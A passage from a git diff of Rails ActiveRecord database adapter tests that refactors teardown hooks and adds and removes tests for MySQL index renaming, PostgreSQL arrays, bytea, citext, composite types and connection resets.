+++ b/activerecord/test/cases/adapters/mysql2/reserved_word_test.rb
@@ -2,7 +2,7 @@ require "cases/helper"
class Group < ActiveRecord::Base
Group.table_name = 'group'
- belongs_to :select, :class_name => 'Select'
+ belongs_to :select
has_one :values
end
@@ -37,7 +37,7 @@ class MysqlReservedWordTest < ActiveRecord::TestCase
'distinct_select'=>'distinct_id int, select_id int'
end
- def teardown
+ teardown do
drop_tables_directly ['group', 'select', 'values', 'distinct', 'distinct_select', 'order']
end
diff --git a/activerecord/test/cases/adapters/mysql2/schema_migrations_test.rb b/activerecord/test/cases/adapters/mysql2/schema_migrations_test.rb
index 9ecd901eac..ec73ec35aa 100644
--- a/activerecord/test/cases/adapters/mysql2/schema_migrations_test.rb
+++ b/activerecord/test/cases/adapters/mysql2/schema_migrations_test.rb
@@ -4,22 +4,35 @@ module ActiveRecord
module ConnectionAdapters
class Mysql2Adapter
class SchemaMigrationsTest < ActiveRecord::TestCase
- def test_initializes_schema_migrations_for_encoding_utf8mb4
- conn = ActiveRecord::Base.connection
+ def test_renaming_index_on_foreign_key
+ connection.add_index "engines", "car_id"
+ connection.execute "ALTER TABLE engines ADD CONSTRAINT fk_engines_cars FOREIGN KEY (car_id) REFERENCES cars(id)"
+
+ connection.rename_index("engines", "index_engines_on_car_id", "idx_renamed")
+ assert_equal ["idx_renamed"], connection.indexes("engines").map(&:name)
+ ensure
+ connection.execute "ALTER TABLE engines DROP FOREIGN KEY fk_engines_cars"
+ end
+ def test_initializes_schema_migrations_for_encoding_utf8mb4
smtn = ActiveRecord::Migrator.schema_migrations_table_name
- conn.drop_table(smtn) if conn.table_exists?(smtn)
+ connection.drop_table(smtn) if connection.table_exists?(smtn)
- config = conn.instance_variable_get(:@config)
+ config = connection.instance_variable_get(:@config)
original_encoding = config[:encoding]
config[:encoding] = 'utf8mb4'
- conn.initialize_schema_migrations_table
+ connection.initialize_schema_migrations_table
- assert conn.column_exists?(smtn, :version, :string, limit: Mysql2Adapter::MAX_INDEX_LENGTH_FOR_UTF8MB4)
+ assert connection.column_exists?(smtn, :version, :string, limit: Mysql2Adapter::MAX_INDEX_LENGTH_FOR_UTF8MB4)
ensure
config[:encoding] = original_encoding
end
+
+ private
+ def connection
+ @connection ||= ActiveRecord::Base.connection
+ end
end
end
end
diff --git a/activerecord/test/cases/adapters/mysql2/schema_test.rb b/activerecord/test/cases/adapters/mysql2/schema_test.rb
index 5db60ff8a0..43c9116b5a 100644
--- a/activerecord/test/cases/adapters/mysql2/schema_test.rb
+++ b/activerecord/test/cases/adapters/mysql2/schema_test.rb
@@ -65,6 +65,15 @@ module ActiveRecord
assert_nil index_c.using
assert_equal :fulltext, index_c.type
end
+
+ def test_drop_temporary_table
+ @connection.transaction do
+ @connection.create_table(:temp_table, temporary: true)
+ # if it doesn't properly say DROP TEMPORARY TABLE, the transaction commit
+ # will complain that no transaction is active
+ @connection.drop_table(:temp_table, temporary: true)
+ end
+ end
end
end
end
diff --git a/activerecord/test/cases/adapters/oracle/synonym_test.rb b/activerecord/test/cases/adapters/oracle/synonym_test.rb
deleted file mode 100644
index b9a422a6ca..0000000000
--- a/activerecord/test/cases/adapters/oracle/synonym_test.rb
+++ /dev/null
@@ -1,17 +0,0 @@
-require "cases/helper"
-require 'models/topic'
-require 'models/subject'
-
-# confirm that synonyms work just like tables; in this case
-# the "subjects" table in Oracle (defined in oci.sql) is just
-# a synonym to the "topics" table
-
-class TestOracleSynonym < ActiveRecord::TestCase
-
- def test_oracle_synonym
- topic = Topic.new
- subject = Subject.new
- assert_equal(topic.attributes, subject.attributes)
- end
-
-end
diff --git a/activerecord/test/cases/adapters/postgresql/active_schema_test.rb b/activerecord/test/cases/adapters/postgresql/active_schema_test.rb
index 22dd48e113..3808db5141 100644
--- a/activerecord/test/cases/adapters/postgresql/active_schema_test.rb
+++ b/activerecord/test/cases/adapters/postgresql/active_schema_test.rb
@@ -7,7 +7,7 @@ class PostgresqlActiveSchemaTest < ActiveRecord::TestCase
end
end
- def teardown
+ teardown do
ActiveRecord::ConnectionAdapters::PostgreSQLAdapter.class_eval do
remove_method :execute
end
diff --git a/activerecord/test/cases/adapters/postgresql/array_test.rb b/activerecord/test/cases/adapters/postgresql/array_test.rb
index 61a3a2ba0f..18dd4a6de8 100644
--- a/activerecord/test/cases/adapters/postgresql/array_test.rb
+++ b/activerecord/test/cases/adapters/postgresql/array_test.rb
@@ -10,26 +10,77 @@ class PostgresqlArrayTest < ActiveRecord::TestCase
def setup
@connection = ActiveRecord::Base.connection
- @connection.transaction do
- @connection.create_table('pg_arrays') do |t|
- t.string 'tags', :array => true
- end
+ @connection.transaction do
+ @connection.create_table('pg_arrays') do |t|
+ t.string 'tags', array: true
+ t.integer 'ratings', array: true
end
+ end
@column = PgArray.columns.find { |c| c.name == 'tags' }
end
- def teardown
+ teardown do
@connection.execute 'drop table if exists pg_arrays'
end
def test_column
assert_equal :string, @column.type
+ assert_equal "character varying", @column.sql_type
assert @column.array
+ assert_not @column.text?
+ assert_not @column.number?
+ assert_not @column.binary?
+
+ ratings_column = PgArray.columns_hash['ratings']
+ assert_equal :integer, ratings_column.type
+ assert ratings_column.array
+ assert_not ratings_column.number?
end
- def test_type_cast_array
- assert @column
+ def test_default
+ @connection.add_column 'pg_arrays', 'score', :integer, array: true, default: [4, 4, 2]
+ PgArray.reset_column_information
+ column = PgArray.columns_hash["score"]
+
+ assert_equal([4, 4, 2], column.default)
+ assert_equal([4, 4, 2], PgArray.new.score)
+ ensure
+ PgArray.reset_column_information
+ end
+
+ def test_default_strings
+ @connection.add_column 'pg_arrays', 'names', :string, array: true, default: ["foo", "bar"]
+ PgArray.reset_column_information
+ column = PgArray.columns_hash["names"]
+
+ assert_equal(["foo", "bar"], column.default)
+ assert_equal(["foo", "bar"], PgArray.new.names)
+ ensure
+ PgArray.reset_column_information
+ end
+
+ def test_change_column_with_array
+ @connection.add_column :pg_arrays, :snippets, :string, array: true, default: []
+ @connection.change_column :pg_arrays, :snippets, :text, array: true, default: "{}"
+
+ PgArray.reset_column_information
+ column = PgArray.columns.find { |c| c.name == 'snippets' }
+ assert_equal :text, column.type
+ assert_equal [], column.default
+ assert column.array
+ end
+
+ def test_change_column_cant_make_non_array_column_to_array
+ @connection.add_column :pg_arrays, :a_string, :string
+ assert_raises ActiveRecord::StatementInvalid do
+ @connection.transaction do
+ @connection.change_column :pg_arrays, :a_string, :string, array: true
+ end
+ end
+ end
+
+ def test_type_cast_array
data = '{1,2,3}'
oid_type = @column.instance_variable_get('@oid_type').subtype
# we are getting the instance variable in this test, but in the
@@ -44,6 +95,12 @@ class PostgresqlArrayTest < ActiveRecord::TestCase
assert_equal([nil], @column.type_cast('{NULL}'))
end
+ def test_type_cast_integers
+ x = PgArray.new(ratings: ['1', '2'])
+ assert x.save!
+ assert_equal(['1', '2'], x.ratings)
+ end
+
def test_rewrite
@connection.execute "insert into pg_arrays (tags) VALUES ('{1,2,3}')"
x = PgArray.first
@@ -57,28 +114,44 @@ class PostgresqlArrayTest < ActiveRecord::TestCase
assert_equal(['1','2','3'], x.tags)
end
- def test_multi_dimensional
- assert_cycle([['1','2'],['2','3']])
+ def test_multi_dimensional_with_strings
+ assert_cycle(:tags, [[['1'], ['2']], [['2'], ['3']]])
+ end
+
+ def test_with_empty_strings
+ assert_cycle(:tags, [ '1', '2', '', '4', '', '5' ])
+ end
+
+ def test_with_multi_dimensional_empty_strings
+ assert_cycle(:tags, [[['1', '2'], ['', '4'], ['', '5']]])
+ end
+
+ def test_with_arbitrary_whitespace
+ assert_cycle(:tags, [[['1', '2'], [' ', '4'], [' ', '5']]])
+ end
+
+ def test_multi_dimensional_with_integers
+ assert_cycle(:ratings, [[[1], [7]], [[8], [10]]])
end
def test_strings_with_quotes
- assert_cycle(['this has','some "s that need to be escaped"'])
+ assert_cycle(:tags, ['this has','some "s that need to be escaped"'])
end
def test_strings_with_commas
- assert_cycle(['this,has','many,values'])
+ assert_cycle(:tags, ['this,has','many,values'])
end
def test_strings_with_array_delimiters
- assert_cycle(['{','}'])
+ assert_cycle(:tags, ['{','}'])
end
def test_strings_with_null_strings
- assert_cycle(['NULL','NULL'])
+ assert_cycle(:tags, ['NULL','NULL'])
end
def test_contains_nils
- assert_cycle(['1',nil,nil])
+ assert_cycle(:tags, ['1',nil,nil])
end
def test_insert_fixture
@@ -87,18 +160,33 @@ class PostgresqlArrayTest < ActiveRecord::TestCase
assert_equal(PgArray.last.tags, tag_values)
end
+ def test_attribute_for_inspect_for_array_field
+ record = PgArray.new { |a| a.ratings = (1..11).to_a }
+ assert_equal("[1, 2, 3, 4, 5, 6, 7, 8, 9, 10, ...]", record.attribute_for_inspect(:ratings))
+ end
+
+ def test_update_all
+ pg_array = PgArray.create! tags: ["one", "two", "three"]
+
+ PgArray.update_all tags: ["four", "five"]
+ assert_equal ["four", "five"], pg_array.reload.tags
+
+ PgArray.update_all tags: []
+ assert_equal [], pg_array.reload.tags
+ end
+
private
- def assert_cycle array
+ def assert_cycle field, array
# test creation
- x = PgArray.create!(:tags => array)
+ x = PgArray.create!(field => array)
x.reload
- assert_equal(array, x.tags)
+ assert_equal(array, x.public_send(field))
# test updating
- x = PgArray.create!(:tags => [])
- x.tags = array
+ x = PgArray.create!(field => [])
+ x.public_send("#{field}=", array)
x.save!
x.reload
- assert_equal(array, x.tags)
+ assert_equal(array, x.public_send(field))
end
end
diff --git a/activerecord/test/cases/adapters/postgresql/bytea_test.rb b/activerecord/test/cases/adapters/postgresql/bytea_test.rb
index 489efac932..e3478856c8 100644
--- a/activerecord/test/cases/adapters/postgresql/bytea_test.rb
+++ b/activerecord/test/cases/adapters/postgresql/bytea_test.rb
@@ -23,7 +23,7 @@ class PostgresqlByteaTest < ActiveRecord::TestCase
assert(@column.is_a?(ActiveRecord::ConnectionAdapters::PostgreSQLColumn))
end
- def teardown
+ teardown do
@connection.execute 'drop table if exists bytea_data_type'
end
@@ -66,22 +66,39 @@ class PostgresqlByteaTest < ActiveRecord::TestCase
def test_write_value
data = "\u001F"
record = ByteaDataType.create(payload: data)
- refute record.new_record?
+ assert_not record.new_record?
assert_equal(data, record.payload)
end
+ def test_via_to_sql
+ data = "'\u001F\\"
+ ByteaDataType.create(payload: data)
+ sql = ByteaDataType.where(payload: data).select(:payload).to_sql
+ result = @connection.query(sql)
+ assert_equal([[data]], result)
+ end
+
+ def test_via_to_sql_with_complicating_connection
+ Thread.new do
+ other_conn = ActiveRecord::Base.connection
+ other_conn.execute('SET standard_conforming_strings = off')
+ end.join
+
+ test_via_to_sql
+ end
+
def test_write_binary
data = File.read(File.join(File.dirname(__FILE__), '..', '..', '..', 'assets', 'example.log'))
assert(data.size > 1)
record = ByteaDataType.create(payload: data)
- refute record.new_record?
+ assert_not record.new_record?
assert_equal(data, record.payload)
assert_equal(data, ByteaDataType.where(id: record.id).first.payload)
end
def test_write_nil
record = ByteaDataType.create(payload: nil)
- refute record.new_record?
+ assert_not record.new_record?
assert_equal(nil, record.payload)
assert_equal(nil, ByteaDataType.where(id: record.id).first.payload)
end
diff --git a/activerecord/test/cases/adapters/postgresql/citext_test.rb b/activerecord/test/cases/adapters/postgresql/citext_test.rb
new file mode 100644
index 0000000000..948bf49a54
--- /dev/null
+++ b/activerecord/test/cases/adapters/postgresql/citext_test.rb
@@ -0,0 +1,80 @@
+# encoding: utf-8
+
+require 'cases/helper'
+require 'active_record/base'
+require 'active_record/connection_adapters/postgresql_adapter'
+
+if ActiveRecord::Base.connection.supports_extensions?
+ class PostgresqlCitextTest < ActiveRecord::TestCase
+ class Citext < ActiveRecord::Base
+ self.table_name = 'citexts'
+ end
+
+ def setup
+ @connection = ActiveRecord::Base.connection
+
+ unless @connection.extension_enabled?('citext')
+ @connection.enable_extension 'citext'
+ @connection.commit_db_transaction
+ end
+
+ @connection.reconnect!
+
+ @connection.create_table('citexts') do |t|
+ t.citext 'cival'
+ end
+ end
+
+ teardown do
+ @connection.execute 'DROP TABLE IF EXISTS citexts;'
+ @connection.execute 'DROP EXTENSION IF EXISTS citext CASCADE;'
+ end
+
+ def test_citext_enabled
+ assert @connection.extension_enabled?('citext')
+ end
+
+ def test_column
+ column = Citext.columns_hash['cival']
+ assert_equal :citext, column.type
+ assert_equal 'citext', column.sql_type
+ assert_not column.text?
+ assert_not column.number?
+ assert_not column.binary?
+ assert_not column.array
+ end
+
+ def test_change_table_supports_json
+ @connection.transaction do
+ @connection.change_table('citexts') do |t|
+ t.citext 'username'
+ end
+ Citext.reset_column_information
+ column = Citext.columns.find { |c| c.name == 'username' }
+ assert_equal :citext, column.type
+
+ raise ActiveRecord::Rollback # reset the schema change
+ end
+ ensure
+ Citext.reset_column_information
+ end
+
+ def test_write
+ x = Citext.new(cival: 'Some CI Text')
+ x.save!
+ citext = Citext.first
+ assert_equal "Some CI Text", citext.cival
+
+ citext.cival = "Some NEW CI Text"
+ citext.save!
+
+ assert_equal "Some NEW CI Text", citext.reload.cival
+ end
+
+ def test_select_case_insensitive
+ @connection.execute "insert into citexts (cival) values('Cased Text')"
+ x = Citext.where(cival: 'cased text').first
+ assert_equal 'Cased Text', x.cival
+ end
+ end
+end
diff --git a/activerecord/test/cases/adapters/postgresql/composite_test.rb b/activerecord/test/cases/adapters/postgresql/composite_test.rb
new file mode 100644
index 0000000000..224b1b770b
--- /dev/null
+++ b/activerecord/test/cases/adapters/postgresql/composite_test.rb
@@ -0,0 +1,53 @@
+# -*- coding: utf-8 -*-
+require "cases/helper"
+require 'active_record/base'
+require 'active_record/connection_adapters/postgresql_adapter'
+
+class PostgresqlCompositeTest < ActiveRecord::TestCase
+ class PostgresqlComposite < ActiveRecord::Base
+ self.table_name = "postgresql_composites"
+ end
+
+ teardown do
+ @connection.execute 'DROP TABLE IF EXISTS postgresql_composites'
+ @connection.execute 'DROP TYPE IF EXISTS full_address'
+ end
+
+ def setup
+ @connection = ActiveRecord::Base.connection
+ @connection.transaction do
+ @connection.execute <<-SQL
+ CREATE TYPE full_address AS
+ (
+ city VARCHAR(90),
+ street VARCHAR(90)
+ );
+ SQL
+ @connection.create_table('postgresql_composites') do |t|
+ t.column :address, :full_address
+ end
+ end
+ end
+
+ def test_column
+ column = PostgresqlComposite.columns_hash["address"]
+ # TODO: Composite columns should have a type
+ assert_nil column.type
+ assert_equal "full_address", column.sql_type
+ assert_not column.number?
+ assert_not column.text?
+ assert_not column.binary?
+ assert_not column.array
+ end
+
+ def test_composite_mapping
+ @connection.execute "INSERT INTO postgresql_composites VALUES (1, ROW('Paris', 'Champs-Élysées'));"
+ composite = PostgresqlComposite.first
+ assert_equal "(Paris,Champs-Élysées)", composite.address
+
+ composite.address = "(Paris,Rue Basse)"
+ composite.save!
+
+ assert_equal '(Paris,"Rue Basse")', composite.reload.address
+ end
+end
diff --git a/activerecord/test/cases/adapters/postgresql/connection_test.rb b/activerecord/test/cases/adapters/postgresql/connection_test.rb
index 6b726ce875..5f84c893c0 100644
--- a/activerecord/test/cases/adapters/postgresql/connection_test.rb
+++ b/activerecord/test/cases/adapters/postgresql/connection_test.rb
@@ -1,20 +1,23 @@
require "cases/helper"
+require 'support/connection_helper'
module ActiveRecord
class PostgresqlConnectionTest < ActiveRecord::TestCase
+ include ConnectionHelper
+
class NonExistentTable < ActiveRecord::Base
end
def setup
super
+ @subscriber = SQLSubscriber.new
+ @subscription = ActiveSupport::Notifications.subscribe('sql.active_record', @subscriber)
@connection = ActiveRecord::Base.connection
- @connection.extend(LogIntercepter)
- @connection.intercepted = true
end
def teardown
- @connection.intercepted = false
- @connection.logged = []
+ ActiveSupport::Notifications.unsubscribe(@subscription)
+ super
end
def test_encoding
@@ -45,60 +48,111 @@ module ActiveRecord
assert_equal 'off', expect
end
+ def test_reset
+ @connection.query('ROLLBACK')
+ @connection.query('SET geqo TO off')
+
+ # Verify the setting has been applied.
+ expect = @connection.query('show geqo').first.first
+ assert_equal 'off', expect
+
+ @connection.reset!
+
+ # Verify the setting has been cleared.
+ expect = @connection.query('show geqo').first.first
+ assert_equal 'on', expect
+ end
+
+ def test_reset_with_transaction
+ @connection.query('ROLLBACK')
+ @connection.query('SET geqo TO off')
+
+ # Verify the setting has been applied.
+ expect = @connection.query('show geqo').first.first
+ assert_equal 'off', expect
+
+ @connection.query('BEGIN')
+ @connection.reset!
+
+ # Verify the setting has been cleared.
+ expect = @connection.query('show geqo').first.first
+ assert_equal 'on', expect
+ end
+
def test_tables_logs_name
@connection.tables('hello')
- assert_equal 'SCHEMA', @connection.logged[0][1]
+ assert_equal 'SCHEMA', @subscriber.logged[0][1]
end
def test_indexes_logs_name
@connection.indexes('items', 'hello')
- assert_equal 'SCHEMA', @connection.logged[0][1]
+ assert_equal 'SCHEMA', @subscriber.logged[0][1]
end
def test_table_exists_logs_name
@connection.table_exists?('items')
- assert_equal 'SCHEMA', @connection.logged[0][1]
+ assert_equal 'SCHEMA', @subscriber.logged[0][1]
end
def test_table_alias_length_logs_name
@connection.instance_variable_set("@table_alias_length", nil)
@connection.table_alias_length
- assert_equal 'SCHEMA', @connection.logged[0][1]
+ assert_equal 'SCHEMA', @subscriber.logged[0][1]
end
def test_current_database_logs_name
@connection.current_database
- assert_equal 'SCHEMA', @connection.logged[0][1]
+ assert_equal 'SCHEMA', @subscriber.logged[0][1]
end
def test_encoding_logs_name
@connection.encoding
- assert_equal 'SCHEMA', @connection.logged[0][1]
+ assert_equal 'SCHEMA', @subscriber.logged[0][1]
end
def test_schema_names_logs_name
@connection.schema_names
- assert_equal 'SCHEMA', @connection.logged[0][1]
+ assert_equal 'SCHEMA', @subscriber.logged[0][1]
+ end
+
+ def test_statement_key_is_logged
+ bindval = 1
+ @connection.exec_query('SELECT $1::integer', 'SQL', [[nil, bindval]])
+ name = @subscriber.payloads.last[:statement_name]
+ assert name
+ res = @connection.exec_query("EXPLAIN (FORMAT JSON) EXECUTE #{name}(#{bindval})")
+ plan = res.column_types['QUERY PLAN'].type_cast res.rows.first.first
+ assert_operator plan.length, :>, 0
end
- # Must have with_manual_interventions set to true for this
- # test to run.
+ # Must have PostgreSQL >= 9.2, or with_manual_interventions set to
+ # true for this test to run.
+ #
# When prompted, restart the PostgreSQL server with the
# "-m fast" option or kill the individual connection assuming
# you know the incantation to do that.
# To restart PostgreSQL 9.1 on OS X, installed via MacPorts, ...
# sudo su postgres -c "pg_ctl restart -D /opt/local/var/db/postgresql91/defaultdb/ -m fast"
def test_reconnection_after_actual_disconnection_with_verify
- skip "with_manual_interventions is false in configuration" unless ARTest.config['with_manual_interventions']
-
original_connection_pid = @connection.query('select pg_backend_pid()')
# Sanity check.
assert @connection.active?
- puts 'Kill the connection now (e.g. by restarting the PostgreSQL ' +
- 'server with the "-m fast" option) and then press enter.'
- $stdin.gets
+ if @connection.send(:postgresql_version) >= 90200
+ secondary_connection = ActiveRecord::Base.connection_pool.checkout
+ secondary_connection.query("select pg_terminate_backend(#{original_connection_pid.first.first})")
+ ActiveRecord::Base.connection_pool.checkin(secondary_connection)
+ elsif ARTest.config['with_manual_interventions']
+ puts 'Kill the connection now (e.g. by restarting the PostgreSQL ' +
+ 'server with the "-m fast" option) and then press enter.'
+ $stdin.gets
+ else
+ # We're not capable of terminating the backend ourselves, and
+ # we're not allowed to seek assistance; bail out without
+ # actually testing anything.
+ return
+ end
@connection.verify!
@@ -147,17 +201,5 @@ module ActiveRecord
ActiveRecord::Base.establish_connection(orig_connection.deep_merge({:variables => {:debug_print_plan => :default}}))
end
end
-
- private
-
- def run_without_connection
- original_connection = ActiveRecord::Base.remove_connection
- begin
- yield original_connection
- ensure
- ActiveRecord::Base.establish_connection(original_connection)
- end
- end
-
end
end
diff --git a/activerecord/test/cases/adapters/postgresql/datatype_test.rb b/activerecord/test/cases/adapters/postgresql/datatype_test.rb
index 36d7294bc8..e7dda1a1af 100644
--- a/activerecord/test/cases/adapters/postgresql/datatype_test.rb
+++ b/activerecord/test/cases/adapters/postgresql/datatype_test.rb
@@ -3,9 +3,6 @@ require "cases/helper"
class PostgresqlArray < ActiveRecord::Base
end
-class PostgresqlRange < ActiveRecord::Base
-end
-
class PostgresqlTsvector < ActiveRecord::Base
end
@@ -30,9 +27,6 @@ end
class PostgresqlTimestampWithZone < ActiveRecord::Base
end
-class PostgresqlUUID < ActiveRecord::Base
-end
-
class PostgresqlLtree < ActiveRecord::Base
end
@@ -46,104 +40,6 @@ class PostgresqlDataTypeTest < ActiveRecord::TestCase
@connection.execute("INSERT INTO postgresql_arrays (id, commission_by_quarter, nicknames) VALUES (1, '{35000,21000,18000,17000}', '{foo,bar,baz}')")
@first_array = PostgresqlArray.find(1)
- @connection.execute <<_SQL if @connection.supports_ranges?
- INSERT INTO postgresql_ranges (
- date_range,
- num_range,
- ts_range,
- tstz_range,
- int4_range,
- int8_range
- ) VALUES (
- '[''2012-01-02'', ''2012-01-04'']',
- '[0.1, 0.2]',
- '[''2010-01-01 14:30'', ''2011-01-01 14:30'']',
- '[''2010-01-01 14:30:00+05'', ''2011-01-01 14:30:00-03'']',
- '[1, 10]',
- '[10, 100]'
- )
-_SQL
-
- @connection.execute <<_SQL if @connection.supports_ranges?
- INSERT INTO postgresql_ranges (
- date_range,
- num_range,
- ts_range,
- tstz_range,
- int4_range,
- int8_range
- ) VALUES (
- '(''2012-01-02'', ''2012-01-04'')',
- '[0.1, 0.2)',
- '[''2010-01-01 14:30'', ''2011-01-01 14:30'')',
- '[''2010-01-01 14:30:00+05'', ''2011-01-01 14:30:00-03'')',
- '(1, 10)',
- '(10, 100)'
- )
-_SQL
-
- @connection.execute <<_SQL if @connection.supports_ranges?
- INSERT INTO postgresql_ranges (
- date_range,
- num_range,
- ts_range,
- tstz_range,
- int4_range,
- int8_range
- ) VALUES (
- '(''2012-01-02'',]',
- '[0.1,]',
- '[''2010-01-01 14:30'',]',
- '[''2010-01-01 14:30:00+05'',]',
- '(1,]',
- '(10,]'
- )
-_SQL
-
- @connection.execute <<_SQL if @connection.supports_ranges?
- INSERT INTO postgresql_ranges (
- date_range,
- num_range,
- ts_range,
- tstz_range,
- int4_range,
- int8_range
- ) VALUES (
- '[,]',
- '[,]',
- '[,]',
- '[,]',
- '[,]',
- '[,]'
- )
-_SQL
-
- @connection.execute <<_SQL if @connection.supports_ranges?
- INSERT INTO postgresql_ranges (
- date_range,
- num_range,
- ts_range,
- tstz_range,
- int4_range,
- int8_range
- ) VALUES (
- '(''2012-01-02'', ''2012-01-02'')',
- '(0.1, 0.1)',
- '(''2010-01-01 14:30'', ''2010-01-01 14:30'')',
- '(''2010-01-01 14:30:00+05'', ''2010-01-01 06:30:00-03'')',
- '(1, 1)',
- '(10, 10)'
- )
-_SQL
-
- if @connection.supports_ranges?
- @first_range = PostgresqlRange.find(1)
- @second_range = PostgresqlRange.find(2)
- @third_range = PostgresqlRange.find(3)
- @fourth_range = PostgresqlRange.find(4)
- @empty_range = PostgresqlRange.find(5)
- end
-
@connection.execute("INSERT INTO postgresql_tsvectors (id, text_vector) VALUES (1, ' ''text'' ''vector'' ')")
@first_tsvector = PostgresqlTsvector.find(1)
@@ -169,14 +65,19 @@ _SQL
@first_oid = PostgresqlOid.find(1)
@connection.execute("INSERT INTO postgresql_timestamp_with_zones (id, time) VALUES (1, '2010-01-01 10:00:00-1')")
-
- @connection.execute("INSERT INTO postgresql_uuids (id, guid, compact_guid) VALUES(1, 'd96c3da0-96c1-012f-1316-64ce8f32c6d8', 'f06c715096c1012f131764ce8f32c6d8')")
- @first_uuid = PostgresqlUUID.find(1)
end
- def teardown
+ teardown do
[PostgresqlArray, PostgresqlTsvector, PostgresqlMoney, PostgresqlNumber, PostgresqlTime, PostgresqlNetworkAddress,
- PostgresqlBitString, PostgresqlOid, PostgresqlTimestampWithZone, PostgresqlUUID].each(&:delete_all)
+ PostgresqlBitString, PostgresqlOid, PostgresqlTimestampWithZone].each(&:delete_all)
+ end
+
+ def test_array_escaping
+ unknown = %(foo\\",bar,baz,\\)
+ nicknames = ["hello_#{unknown}"]
+ ar = PostgresqlArray.create!(nicknames: nicknames, id: 100)
+ ar.reload
+ assert_equal nicknames, ar.nicknames
end
def test_data_type_of_array_types
@@ -184,16 +85,6 @@ _SQL
assert_equal :text, @first_array.column_for_attribute(:nicknames).type
end
- def test_data_type_of_range_types
- skip "PostgreSQL 9.2 required for range datatypes" unless @connection.supports_ranges?
- assert_equal :daterange, @first_range.column_for_attribute(:date_range).type
- assert_equal :numrange, @first_range.column_for_attribute(:num_range).type
- assert_equal :tsrange, @first_range.column_for_attribute(:ts_range).type
- assert_equal :tstzrange, @first_range.column_for_attribute(:tstz_range).type
- assert_equal :int4range, @first_range.column_for_attribute(:int4_range).type
- assert_equal :int8range, @first_range.column_for_attribute(:int8_range).type
- end
-
def test_data_type_of_tsvector_types
assert_equal :tsvector, @first_tsvector.column_for_attribute(:text_vector).type
end
@@ -227,10 +118,6 @@ _SQL
assert_equal :integer, @first_oid.column_for_attribute(:obj_id).type
end
- def test_data_type_of_uuid_types
- assert_equal :uuid, @first_uuid.column_for_attribute(:guid).type
- end
-
def test_array_values
assert_equal [35000,21000,18000,17000], @first_array.commission_by_quarter
assert_equal ['foo','bar','baz'], @first_array.nicknames
@@ -240,205 +127,25 @@ _SQL
assert_equal "'text' 'vector'", @first_tsvector.text_vector
end
- def test_int4range_values
- skip "PostgreSQL 9.2 required for range datatypes" unless @connection.supports_ranges?
- assert_equal 1...11, @first_range.int4_range
- assert_equal 2...10, @second_range.int4_range
- assert_equal 2...Float::INFINITY, @third_range.int4_range
- assert_equal(-Float::INFINITY...Float::INFINITY, @fourth_range.int4_range)
- assert_nil @empty_range.int4_range
- end
-
- def test_int8range_values
- skip "PostgreSQL 9.2 required for range datatypes" unless @connection.supports_ranges?
- assert_equal 10...101, @first_range.int8_range
- assert_equal 11...100, @second_range.int8_range
- assert_equal 11...Float::INFINITY, @third_range.int8_range
- assert_equal(-Float::INFINITY...Float::INFINITY, @fourth_range.int8_range)
- assert_nil @empty_range.int8_range
- end
-
- def test_daterange_values
- skip "PostgreSQL 9.2 required for range datatypes" unless @connection.supports_ranges?
- assert_equal Date.new(2012, 1, 2)...Date.new(2012, 1, 5), @first_range.date_range
- assert_equal Date.new(2012, 1, 3)...Date.new(2012, 1, 4), @second_range.date_range
- assert_equal Date.new(2012, 1, 3)...Float::INFINITY, @third_range.date_range
- assert_equal(-Float::INFINITY...Float::INFINITY, @fourth_range.date_range)
- assert_nil @empty_range.date_range
- end
-
- def test_numrange_values
- skip "PostgreSQL 9.2 required for range datatypes" unless @connection.supports_ranges?
- assert_equal BigDecimal.new('0.1')..BigDecimal.new('0.2'), @first_range.num_range
- assert_equal BigDecimal.new('0.1')...BigDecimal.new('0.2'), @second_range.num_range
- assert_equal BigDecimal.new('0.1')...BigDecimal.new('Infinity'), @third_range.num_range
- assert_equal BigDecimal.new('-Infinity')...BigDecimal.new('Infinity'), @fourth_range.num_range
- assert_nil @empty_range.num_range
- end
-
- def test_tsrange_values
- skip "PostgreSQL 9.2 required for range datatypes" unless @connection.supports_ranges?
- tz = ::ActiveRecord::Base.default_timezone
- assert_equal Time.send(tz, 2010, 1, 1, 14, 30, 0)..Time.send(tz, 2011, 1, 1, 14, 30, 0), @first_range.ts_range
- assert_equal Time.send(tz, 2010, 1, 1, 14, 30, 0)...Time.send(tz, 2011, 1, 1, 14, 30, 0), @second_range.ts_range
- assert_equal(-Float::INFINITY...Float::INFINITY, @fourth_range.ts_range)
- assert_nil @empty_range.ts_range
- end
-
- def test_tstzrange_values
- skip "PostgreSQL 9.2 required for range datatypes" unless @connection.supports_ranges?
- assert_equal Time.parse('2010-01-01 09:30:00 UTC')..Time.parse('2011-01-01 17:30:00 UTC'), @first_range.tstz_range
- assert_equal Time.parse('2010-01-01 09:30:00 UTC')...Time.parse('2011-01-01 17:30:00 UTC'), @second_range.tstz_range
- assert_equal(-Float::INFINITY...Float::INFINITY, @fourth_range.tstz_range)
- assert_nil @empty_range.tstz_range
- end
-
def test_money_values
assert_equal 567.89, @first_money.wealth
assert_equal(-567.89, @second_money.wealth)
end
- def test_create_tstzrange
- skip "PostgreSQL 9.2 required for range datatypes" unless @connection.supports_ranges?
- tstzrange = Time.parse('2010-01-01 14:30:00 +0100')...Time.parse('2011-02-02 14:30:00 CDT')
- range = PostgresqlRange.new(:tstz_range => tstzrange)
- assert range.save
- assert range.reload
- assert_equal range.tstz_range, tstzrange
- assert_equal range.tstz_range, Time.parse('2010-01-01 13:30:00 UTC')...Time.parse('2011-02-02 19:30:00 UTC')
- end
-
- def test_update_tstzrange
- skip "PostgreSQL 9.2 required for range datatypes" unless @connection.supports_ranges?
- new_tstzrange = Time.parse('2010-01-01 14:30:00 CDT')...Time.parse('2011-02-02 14:30:00 CET')
- assert @first_range.tstz_range = new_tstzrange
- assert @first_range.save
- assert @first_range.reload
- assert_equal new_tstzrange, @first_range.tstz_range
- assert @first_range.tstz_range = Time.parse('2010-01-01 14:30:00 +0100')...Time.parse('2010-01-01 13:30:00 +0000')
- assert @first_range.save
- assert @first_range.reload
- assert_nil @first_range.tstz_range
- end
-
- def test_create_tsrange
- skip "PostgreSQL 9.2 required for range datatypes" unless @connection.supports_ranges?
- tz = ::ActiveRecord::Base.default_timezone
- tsrange = Time.send(tz, 2010, 1, 1, 14, 30, 0)...Time.send(tz, 2011, 2, 2, 14, 30, 0)
- range = PostgresqlRange.new(:ts_range => tsrange)
- assert range.save
- assert range.reload
- assert_equal range.ts_range, tsrange
- end
-
- def test_update_tsrange
- skip "PostgreSQL 9.2 required for range datatypes" unless @connection.supports_ranges?
- tz = ::ActiveRecord::Base.default_timezone
